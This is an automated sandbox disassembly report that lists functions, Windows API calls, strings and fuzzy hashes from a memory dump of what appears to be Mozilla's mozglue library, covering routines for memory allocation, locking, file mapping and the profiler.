?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C7EC891

Strings

nan, xrefs: 6C7EC7A8
NAN, xrefs: 6C7EC7AD
inf, xrefs: 6C7EC78F
INF, xrefs: 6C7EC794

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 4e01ed49e1a2bc10f60c22af1043da688840ae223cfd19922745e86f348f0103
Instruction ID: 3685fbc6a774575580749b0c1bb04130cdd5b44639e03ec0cb7ffea5be2e1339
Opcode Fuzzy Hash: 4e01ed49e1a2bc10f60c22af1043da688840ae223cfd19922745e86f348f0103
Instruction Fuzzy Hash: EC51A3756087408BD710AF6DC68129AFBF0BF9E309F008A2DE9D497650E770D988CB43

Function 6C7C3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C7C3284,?,?,6C7E56F6), ref: 6C7C3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C7C3284,?,?,6C7E56F6), ref: 6C7C34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C7C3284,?,?,6C7E56F6), ref: 6C7C34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C7C350E
__Init_thread_footer.LIBCMT ref: 6C7C3522
__aulldiv.LIBCMT ref: 6C7C3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C7C3284,?,?,6C7E56F6), ref: 6C7C357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C7C3284,?,?,6C7E56F6), ref: 6C7C3592

Part of subcall function 6C7FAB89: EnterCriticalSection.KERNEL32(6C84E370,?,?,?,6C7C34DE,6C84F6CC,?,?,?,?,?,?,?,6C7C3284), ref: 6C7FAB94
Part of subcall function 6C7FAB89: LeaveCriticalSection.KERNEL32(6C84E370,?,6C7C34DE,6C84F6CC,?,?,?,?,?,?,?,6C7C3284,?,?,6C7E56F6), ref: 6C7FABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C7C3508
kernel32.dll, xrefs: 6C7C34EA

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: df9dafb04284a607050983f39d7b86d7e2a9acc1b5ecc35394a10d8d684863c8
Instruction ID: 12b16413cb4e0ef60dbf663e7d36b7bb4ccc7e5a9744b3f9356864b98aeae6de
Opcode Fuzzy Hash: df9dafb04284a607050983f39d7b86d7e2a9acc1b5ecc35394a10d8d684863c8
Instruction Fuzzy Hash: B531B271B0024A9BDF20EFB5DA48EAE7375FB8530DF108439E50593750D770A901CBA1

Function 6C7C4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C804843,?), ref: 6C7C45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C804843,?), ref: 6C7C468A
free.MOZGLUE(?,?,?,?,?,?,6C804843,?), ref: 6C7C46C9
free.MOZGLUE(?), ref: 6C7C46EF
free.MOZGLUE(?), ref: 6C7C4712
free.MOZGLUE(?), ref: 6C7C4735
free.MOZGLUE(?), ref: 6C7C4758
free.MOZGLUE(?), ref: 6C7C477B
free.MOZGLUE(?), ref: 6C7C479E

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 23746f32ee9057a0ec57aa1080ee4a3da37c34b8ae82b2f9e4a793760a86a245
Instruction ID: 0891062acdd6908e59b809d705120fd409c550bcf4196302a9cc1a21126e4b85
Opcode Fuzzy Hash: 23746f32ee9057a0ec57aa1080ee4a3da37c34b8ae82b2f9e4a793760a86a245
Instruction Fuzzy Hash: DDB1D372B001128FDB188E3CDAD477D76B6AF45328F184679E816DFB86D73098409B92

Function 6C82AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C82AC52
CreateFileMappingW.KERNEL32 ref: 6C82AC7D
GetSystemInfo.KERNEL32 ref: 6C82AC98
MapViewOfFile.KERNEL32 ref: 6C82ACB0
GetSystemInfo.KERNEL32 ref: 6C82ACCD
MapViewOfFile.KERNEL32 ref: 6C82AD05
UnmapViewOfFile.KERNEL32 ref: 6C82AD1C
CloseHandle.KERNEL32 ref: 6C82AD28
UnmapViewOfFile.KERNEL32 ref: 6C82AD37
CloseHandle.KERNEL32 ref: 6C82AD43
CloseHandle.KERNEL32 ref: 6C82AD67

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: acc29c489e56bdc1bf720fe17c21dcdb834dd7a8c25d6a6be6616dac7cdd95e2
Instruction ID: e75e25bdaba4edaca3e9783b0711b543f167caf4a0bed268fb4ccc859aa41bf6
Opcode Fuzzy Hash: acc29c489e56bdc1bf720fe17c21dcdb834dd7a8c25d6a6be6616dac7cdd95e2
Instruction Fuzzy Hash: 16311AB19046058FDB10BF7DD6486AEBBF0AF85209F018939E99996211EB749488CBC2

Function 6C7D9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C7D9675
__Init_thread_footer.LIBCMT ref: 6C7D9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C7D96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C7D9707
__Init_thread_footer.LIBCMT ref: 6C7D971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C7D9773

Part of subcall function 6C7FAB89: EnterCriticalSection.KERNEL32(6C84E370,?,?,?,6C7C34DE,6C84F6CC,?,?,?,?,?,?,?,6C7C3284), ref: 6C7FAB94
Part of subcall function 6C7FAB89: LeaveCriticalSection.KERNEL32(6C84E370,?,6C7C34DE,6C84F6CC,?,?,?,?,?,?,?,6C7C3284,?,?,6C7E56F6), ref: 6C7FABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C7D97B7
FreeLibrary.KERNEL32 ref: 6C7D97D0
FreeLibrary.KERNEL32 ref: 6C7D97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C7D9824

Strings

MapViewOfFileNuma2, xrefs: 6C7D97B1
NtMapViewOfSection, xrefs: 6C7D9701
ntdll.dll, xrefs: 6C7D96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C7D9670

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 927caf44144a45515312a1945cb5683b2f80b0516eea66790fa47fc596b0f674
Instruction ID: eaaeef55edcaf77cfa344cd943dfd3efbd58f4181b2c030fb39bb9c85e6f8eff
Opcode Fuzzy Hash: 927caf44144a45515312a1945cb5683b2f80b0516eea66790fa47fc596b0f674
Instruction Fuzzy Hash: EF41D2706002459BDF20EFA5DA98A9A7BB0FB6A32CF018538FD1597740E734A805CBE1

Function 6C7C1E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C84E784), ref: 6C7C1EC1
LeaveCriticalSection.KERNEL32(6C84E784), ref: 6C7C1EE1
EnterCriticalSection.KERNEL32(6C84E744), ref: 6C7C1F38
LeaveCriticalSection.KERNEL32(6C84E744), ref: 6C7C1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C7C1F83
LeaveCriticalSection.KERNEL32(6C84E784), ref: 6C7C1FC0
EnterCriticalSection.KERNEL32(6C84E784), ref: 6C7C1FE2
LeaveCriticalSection.KERNEL32(6C84E784), ref: 6C7C1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7C2019

Strings

MOZ_CRASH(), xrefs: 6C7C2000

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: e671d01c75d0da28cca005ef95a2485814fa382af55a8a019676b025f9c71f14
Instruction ID: 8ae8c94e92fb0543a9aa787dba5353a118691b32c7e40ba41e63eb7a99ee3848
Opcode Fuzzy Hash: e671d01c75d0da28cca005ef95a2485814fa382af55a8a019676b025f9c71f14
Instruction Fuzzy Hash: AA41C275B0521A8FDB20EF78C988B6E7AB5EB4A35CF008035E91497741D7709804CBD2

Function 6C810000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7D4A68), ref: 6C80945E
Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C809470
Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C809482
Part of subcall function 6C809420: __Init_thread_footer.LIBCMT ref: 6C80949F

GetCurrentThreadId.KERNEL32 ref: 6C810039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C810041
GetCurrentThreadId.KERNEL32 ref: 6C810075
AcquireSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C810082
moz_xmalloc.MOZGLUE(00000048), ref: 6C810090
free.MOZGLUE(?), ref: 6C810104
ReleaseSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C81011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C81005B

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 708df642c25605d1e428dd65e06f66c3a470d4b95ec5444c67fa9fc84bc78650
Instruction ID: 5e2b1560becd9e0a101556590efd664bbf5270397b8c80fe69bdb26cb7652f60
Opcode Fuzzy Hash: 708df642c25605d1e428dd65e06f66c3a470d4b95ec5444c67fa9fc84bc78650
Instruction Fuzzy Hash: 5D419FB56006499FCB20DF28C944A9BBBF0FF5932CF40892DE95A87B40DB31A815CB91

Function 6C7D7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7D7EA7
malloc.MOZGLUE(00000001), ref: 6C7D7EB3

Part of subcall function 6C7DCAB0: EnterCriticalSection.KERNEL32(?), ref: 6C7DCB49
Part of subcall function 6C7DCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C7DCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C7D7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C7D7F19
malloc.MOZGLUE(?), ref: 6C7D7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7D7F4D

Strings

d, xrefs: 6C7D7F89

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: f521e2d36b1f742911f33ca9918ee7324945e58165790c54f97358c1dec6c061
Instruction ID: dea196a485e2437345ec8bd8950cde3c4c5822d4226096ff36b195e190e35838
Opcode Fuzzy Hash: f521e2d36b1f742911f33ca9918ee7324945e58165790c54f97358c1dec6c061
Instruction Fuzzy Hash: 8431E561E0025897DB20AB68DD449FEB778EF9620CF05A639EC495B612FB70B588C3D1

Function 6C7D3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C7D3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C7D3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C7D4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C7D40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C7D3CCC), ref: 6C7D40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C7D3CCC), ref: 6C7D40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C7D4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C7D3CCC), ref: 6C7D4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C7D3CCC), ref: 6C7D4157

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 487e3c4dc716f55863d385251cdd614682cd1b4c596c4f9dae2192fa7a9cae7d
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: FAA18FB1A00215CFDB50CF68CA80759B7B5FF48308F2A45A9D909AF742D771E886DFA0

Function 6C7C2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C7E3F47,?,?,?,6C7E3F47,6C7E1A70,?), ref: 6C7C207F
memset.VCRUNTIME140(?,000000E5,6C7E3F47,?,6C7E3F47,6C7E1A70,?), ref: 6C7C20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C7E3F47,6C7E1A70,?), ref: 6C7C211A
EnterCriticalSection.KERNEL32(6C84E744,?,6C7E3F47,6C7E1A70,?), ref: 6C7C2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C7E3F47,6C7E1A70,?), ref: 6C7C21BA
EnterCriticalSection.KERNEL32(6C84E744,?,6C7E3F47,6C7E1A70,?), ref: 6C7C21E0
LeaveCriticalSection.KERNEL32(6C84E744,?,6C7E3F47,6C7E1A70,?), ref: 6C7C2232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C7C2253, 6C7C2268
MOZ_CRASH(), xrefs: 6C7C227D

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 8e17d90f1231fba294b8fbfe77aa8e6c6c9a7cfaf6aea810c83be7f5a206c754
Instruction ID: ee9c155552912351f41fdb5758933207f182ba76ead23cc26b812cfad4083f2b
Opcode Fuzzy Hash: 8e17d90f1231fba294b8fbfe77aa8e6c6c9a7cfaf6aea810c83be7f5a206c754
Instruction Fuzzy Hash: 9661C531F0021B8FCB14DBA8CA89B6E77B1AF85368F259539E524A7B94D7709C00C7D2

Function 6C7C48E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6C80483A,?), ref: 6C7C4ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6C80483A,?), ref: 6C7C4AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6C80483A,?), ref: 6C7C4A82

Part of subcall function 6C7DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C7DCAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6C80483A,?), ref: 6C7C4A97
moz_xmalloc.MOZGLUE(15D4E801,?,6C80483A,?), ref: 6C7C4A35

Part of subcall function 6C7DCA10: malloc.MOZGLUE(?), ref: 6C7DCA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6C80483A,?), ref: 6C7C4A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6C80483A,?), ref: 6C7C4AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6C80483A,?), ref: 6C7C4B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6C80483A,?), ref: 6C7C4B2C

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 61087c6838136cf386550c55f40cbf4d5e007a1d81f0d8b2419d444a47620850
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: DA717AB1A007069FCB14CF68C684AAABBF4FF18308B104A3ED15A9BB41E731F555DB91

Function 6C819D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C818273), ref: 6C819D65
free.MOZGLUE(6C818273,?), ref: 6C819D7C
free.MOZGLUE(?,?), ref: 6C819D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C819E0F
free.MOZGLUE(6C81946B,?,?), ref: 6C819E24
free.MOZGLUE(?,?,?), ref: 6C819E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C819EC8
free.MOZGLUE(6C81946B,?,?,?), ref: 6C819EDF
free.MOZGLUE(?,?,?,?), ref: 6C819EF5

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: a6ef8c93475dfb844d8559c9c53d8620eeac11930960d3621503b9eeeb5aa15a
Instruction ID: 5426bb8f7dee6d35351b3ce59f60c8e84636dde3dd4fe8e84b956a9afd262f37
Opcode Fuzzy Hash: a6ef8c93475dfb844d8559c9c53d8620eeac11930960d3621503b9eeeb5aa15a
Instruction Fuzzy Hash: DD71B271909B468BD722CF18C68055BF3F4FF99315B448A5DE85A9BB01EB30E885CBC1

Function 6C81DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C81DDCF

Part of subcall function 6C7FFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7FFA4B

Part of subcall function 6C8190E0: free.MOZGLUE(?,00000000,?,?,6C81DEDB), ref: 6C8190FF
Part of subcall function 6C8190E0: free.MOZGLUE(?,00000000,?,?,6C81DEDB), ref: 6C819108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C81DE0D
free.MOZGLUE(00000000), ref: 6C81DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C81DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C81DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C81DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C80DEFD,?,6C7D4A68), ref: 6C81DF32

Part of subcall function 6C81DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C81DB86
Part of subcall function 6C81DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C81DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C80DEFD,?,6C7D4A68), ref: 6C81DF65
free.MOZGLUE(?), ref: 6C81DF80

Part of subcall function 6C7E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C7E5EDB
Part of subcall function 6C7E5E90: memset.VCRUNTIME140(6C827765,000000E5,55CCCCCC), ref: 6C7E5F27
Part of subcall function 6C7E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C7E5FB2

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 9c617171c27307d41a977f374a1f7dc3d2d96bf46fd42056863351a1a28af208
Instruction ID: 208a91f4d9716a23ca201f24d9e92cf086cca9a5e0611f283e945432efe1f01d
Opcode Fuzzy Hash: 9c617171c27307d41a977f374a1f7dc3d2d96bf46fd42056863351a1a28af208
Instruction Fuzzy Hash: 8451E6726097069BD7329A18DA807AE73F6AF95309F95082ED41A53F00D731F919CB82

Function 6C825D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

